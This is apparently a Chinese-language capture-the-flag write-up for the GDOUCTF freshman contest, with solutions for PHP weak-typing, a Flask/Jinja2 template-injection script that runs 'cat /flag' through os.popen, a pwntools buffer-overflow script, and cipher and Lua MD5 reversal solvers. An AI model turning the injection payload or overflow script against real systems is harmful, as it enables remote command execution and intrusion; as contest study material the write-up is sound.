GDOUCTF 新生赛 wp

yulate

发布于 2023-05-09 03:28:56

37400

代码可运行

文章被收录于专栏：yulate的网络安全技术分析yulate的网络安全技术分析

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代码可运行

最终成绩

一个人打了一天，web太过简单了，AK 加起来没有misc一题分高，其他方向就浅浅会一点，最后就拿了个115名。

WEB

受不了一点

老旧的php弱类型考点

<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if (isset($_POST['gdou']) && isset($_POST['ctf'])) {
    $b = $_POST['ctf'];
    $a = $_POST['gdou'];
    if ($_POST['gdou'] != $_POST['ctf'] && md5($a) === md5($b)) {
        if (isset($_COOKIE['cookie'])) {
            if ($_COOKIE['cookie'] == 'j0k3r') {
                if (isset($_GET['aaa']) && isset($_GET['bbb'])) {
                    $aaa = $_GET['aaa'];
                    $bbb = $_GET['bbb'];
                    if ($aaa == 114514 && $bbb == 114514 && $aaa != $bbb) {
                        $give = 'cancanwordflag';
                        $get = 'hacker!';
                        if (!isset($_GET['flag']) && !isset($_POST['flag'])) {
                            die($give);
                        }
                        if ($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag') {
                            die($get);
                        }
                        foreach ($_POST as $key => $value) {
                            $$key = $value;
                        }
                        foreach ($_GET as $key => $value) {
                            $$key = $$value;
                        }
                        echo $f1ag;
                    } else {
                        echo "洗洗睡吧";
                    }
                } else {
                    echo "行不行啊细狗";
                }
            }
        } else {
            echo '菜菜';
        }
    } else {
        echo "就这?";
    }
} else {
    echo "别来沾边";
}
?>

hate eat snake

日到墙上之后提示点击取消，然后等着60秒就行了

EZ WEB

PUT请求/super-secret-route-nobody-will-guess路由即可拿到flag

一道flask jinja2模板注入题，过滤了.和_，attr取反绕过即可

import requests

url = "http://node6.anna.nssctf.cn:28986/get_flag"

def getstr(s1):
    i1 = ""
    s5 = ""
    for i in s1:
        i1 += "i~"
        s5 += str(ord(i)) + ","
    i1 = i1.strip("~")
    s5 = s5.strip(",")
    s = f"(({i1})%({s5}))"
    return s

payload2 = """{% for i in ( ((g|lower|list|first|urlencode|first)~(g|lower|list|first|urlencode|last|lower)),) %}{% print ( """ + f"""lipsum|attr({getstr("__globals__")})|attr({getstr("__getitem__")})({getstr("os")})|attr({getstr("popen")})({getstr("cat /flag")})|attr({getstr("read")})()""" + """ ) %}{% endfor %}"""

data = {"name": payload2}

resp = requests.post(url=url, data=data)
print(resp.text)

PWN

EASY PWN

在这个特定的代码中，要想确保一定执行到print_flag()函数，可以通过覆盖s1数组来实现。具体来说，由于s1数组在栈上分配的位置是在buf数组的下方，因此可以通过输入比s1数组的大小大得多的字符串来溢出s1数组，从而覆盖buf和v5变量，使得程序执行到print_flag()函数。

from pwn import *

#p = process('./easypwn')
p = remote('node5.anna.nssctf.cn', 28202)
p.recvuntil('Password:')
p.sendline('A'*30) # Overflow s1 to overwrite buf and v5 variables
print(p.recvall().decode())

在接收到"Password:"提示后，我们将s1数组的大小设置为30，输入一个超过其大小的字符串"A" * 30，从而覆盖buf和v5变量，使得程序执行到print_flag()函数。最后，使用recvall()方法读取程序输出并将其打印到控制台上。

Crypto

Encryptor

js加密代码如下

let messagetoEncrypt = prompt("Enter a string: ").toLowerCase();
let charArray = messagetoEncrypt.split("");
let encryptedString = "";
let hasInvalidCharacter = false;

for (let i = 0; i < charArray.length; i++) {
    switch (charArray[i]) {
        case 'a':
            encryptedString = encryptedString.concat('!')
            break;
        case 'b':
            encryptedString = encryptedString.concat('1')
            break;
        case 'c':
            encryptedString = encryptedString.concat(')')
            break;
        case 'd':
            encryptedString = encryptedString.concat('v')
            break;
        case 'e':
            encryptedString = encryptedString.concat('m')
            break;
        case 'f':
            encryptedString = encryptedString.concat('+')
            break;
        case 'g':
            encryptedString = encryptedString.concat('q')
            break;
        case 'h':
            encryptedString = encryptedString.concat('0')
            break;
        case 'i':
            encryptedString = encryptedString.concat('c')
            break;
        case 'j':
            encryptedString = encryptedString.concat(']')
            break;
        case 'k':
            encryptedString = encryptedString.concat('(')
            break;
        case 'l':
            encryptedString = encryptedString.concat('}')
            break;
        case 'm':
            encryptedString = encryptedString.concat('[')
            break;
        case 'n':
            encryptedString = encryptedString.concat('8')
            break;
        case 'o':
            encryptedString = encryptedString.concat('5')
            break;
        case 'p':
            encryptedString = encryptedString.concat('$')
            break;
        case 'q':
            encryptedString = encryptedString.concat('*')
            break;
        case 'r':
            encryptedString = encryptedString.concat('i')
            break;
        case 's':
            encryptedString = encryptedString.concat('>')
            break;
        case 't':
            encryptedString = encryptedString.concat('#')
            break;
        case 'u':
            encryptedString = encryptedString.concat('<')
            break;
        case 'v':
            encryptedString = encryptedString.concat('?')
            break;
        case 'w':
            encryptedString = encryptedString.concat('o')
            break;
        case 'x':
            encryptedString = encryptedString.concat('^')
            break;
        case 'y':
            encryptedString = encryptedString.concat('-')
            break;
        case 'z':
            encryptedString = encryptedString.concat('_')
            break;
        case '0':
            encryptedString = encryptedString.concat('h')
            break;
        case '1':
            encryptedString = encryptedString.concat('w')
            break;
        case '2':
            encryptedString = encryptedString.concat('e')
            break;
        case '3':
            encryptedString = encryptedString.concat('9')
            break;
        case '4':
            encryptedString = encryptedString.concat('g')
            break;
        case '5':
            encryptedString = encryptedString.concat('z')
            break;
        case '6':
            encryptedString = encryptedString.concat('d')
            break;
        case '7':
            encryptedString = encryptedString.concat('~')
            break;
        case '8':
            encryptedString = encryptedString.concat('=')
            break;
        case '9':
            encryptedString = encryptedString.concat('x')
            break;
        case '!':
            encryptedString = encryptedString.concat('j')
            break;
        case '@':
            encryptedString = encryptedString.concat(':')
            break;
        case '#':
            encryptedString = encryptedString.concat('4')
            break;
        case '$':
            encryptedString = encryptedString.concat('b')
            break;
        case '%':
            encryptedString = encryptedString.concat('`')
            break;
        case '^':
            encryptedString = encryptedString.concat('l')
            break;
        case '&':
            encryptedString = encryptedString.concat('3')
            break;
        case '*':
            encryptedString = encryptedString.concat('t')
            break;
        case '(':
            encryptedString = encryptedString.concat('6')
            break;
        case ')':
            encryptedString = encryptedString.concat('s')
            break;
        case '_':
            encryptedString = encryptedString.concat('n')
            break;
        case '+':
            encryptedString = encryptedString.concat(';')
            break;

        case '-':
            encryptedString = encryptedString.concat('\'')
            break;
        case '=':
            encryptedString = encryptedString.concat('r')
            break;
        case '`':
            encryptedString = encryptedString.concat('k')
            break;
        case '~':
            encryptedString = encryptedString.concat('p')
            break;
        case '{':
            encryptedString = encryptedString.concat('\"')
            break;
        case '}':
            encryptedString = encryptedString.concat('&')
            break;
        case '[':
            encryptedString = encryptedString.concat('/')
            break;
        case ']':
            encryptedString = encryptedString.concat('\\')
            break;
        case '|':
            encryptedString = encryptedString.concat('2')
            break;
        case ':':
            encryptedString = encryptedString.concat('.')
            break;
        case ';':
            encryptedString = encryptedString.concat('%')
            break;
        case '\"':
            encryptedString = encryptedString.concat('|')
            break;
        case '\'':
            encryptedString = encryptedString.concat(',')
            break;
        case '<':
            encryptedString = encryptedString.concat('@')
            break;
        case '>':
            encryptedString = encryptedString.concat('{')
            break;
        case ',':
            encryptedString = encryptedString.concat('u')
            break;
        case '.':
            encryptedString = encryptedString.concat('7')
            break;
        case '?':
            encryptedString = encryptedString.concat('y')
            break;
        case '/':
            encryptedString = encryptedString.concat('a')
            break;

        default:
            hasInvalidCharacter = true;
    }
}

if (hasInvalidCharacter) {
    encryptedString = "Invalid String!";
} else {
    console.log(`Your encoded string is ${encryptedString}`);
}

Alice用脚本向Bob发送了以下消息。 这是用JS写的。 Bob对JS一无所知。 你能帮忙看看留言吗？

+}!q")hiim)#}-nvm)i-$#mvn#0mnbm)im#n+}!qnm8)i-$#mvnoc#0nz<$9inm!>-n1:1-nm8)i-$~c58n!}qhij#0[noic##m8nc8n?!8c}w!n]>&

解密payload

enc = {}

def substrings(st):
    s = st.split("'")
    for i in range(1, len(s), 2):
        return s[i]

with open("./Encryptor.js", "r") as f:
    for line in f:
        if "case" in line:
            next_line = next(f, None)
            enc[substrings(next_line.replace("\\", ""))] = substrings(line.replace("\\", ""))

print(enc)

js = """+}!q")hiim)#}-nvm)i-$#mvn#0mnbm)im#n+}!qnm8)i-$#mvnoc#0nz<$9inm!>-n1:1-nm8)i-$~c58n!}qhij#0[noic##m8nc8n?!8c}w!n]>&"""

result = ""

for i in js:
    print(i)
    result += enc.get(i, "")

print(result)

babylua

local flag = '' --这里是你要逆推出的flag
local md5 = require("md5")

-- 随机种子
math.randomseed(os.time())

local function randomStr(len)
    local rankStr = ""
    local randNum = 0
    for i = 1, len do
        randNum = math.random(1, 2)
        if randNum == 1 then
            rankStr = rankStr .. string.char(math.random(65, 90))
        elseif randNum == 2 then
            rankStr = rankStr .. string.char(math.random(97, 122))
        end
    end
    return rankStr
end

local seed = randomStr(4)
local key = md5.sumhexa(md5.sumhexa(seed))
print(key:sub(1,10))

secret = {}

for i = 1, #flag do
    secret[i] = string.byte(flag:sub(i,i)) + string.byte(key:sub(i,i))
end

for i, v in ipairs(secret) do
    io.write(v, ' ')
end

print()

--程序运行输出结果：
--b5e62abe84
--200 161 198 157 173 169 199 150 105 163 193 175 173 194 135 131 135 225
--请你分析代码，逆向推出flag

一道lua题，先随机一个四位大小写的字符串MD5编码两次作为key，再将flag的ASCII每一位和key的ASCII对应位值相加，写个python脚本逆向一下即可

import hashlib

target = "b5e62abe84"  # 要破解的目标MD5值前10位

letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"

print(len("b5e62abe84bc8afbfd97c91a15aa0867"))
key = "b5e62abe84bc8afbfd97c91a15aa0867"
base_ascii = [200, 161, 198, 157, 173, 169, 199, 150, 105, 163, 193, 175, 173, 194, 135, 131, 135, 225]
key_ascii = [98, 53, 101, 54, 50, 97, 98, 101, 56, 52, 98, 99, 56, 97, 102, 98, 102, 100]

def get_key():
    for i in letters:
        for g in letters:
            for k in letters:
                for l in letters:
                    seed = i + g + k + l
                    key = hashlib.md5(hashlib.md5(seed.encode()).hexdigest().encode()).hexdigest()[
                          :10]  # 将结果转换为 bytes 类型
                    if key == target:
                        print("seed :" + hashlib.md5(hashlib.md5(seed.encode()).hexdigest().encode()).hexdigest())
                        break

def get_ascii():
    ascii_key = [ord(chr) for chr in key[:len(base_ascii)]]
    print(ascii_key)

get_ascii()

result = [base_ascii[i] - key_ascii[i] for i in range(len(base_ascii))]
print(result)

result = [chr(i) for i in [102, 108, 97, 103, 123, 72, 101, 49, 49, 111, 95, 76, 117, 97, 33, 33, 33, 125]]
print(''.join(result))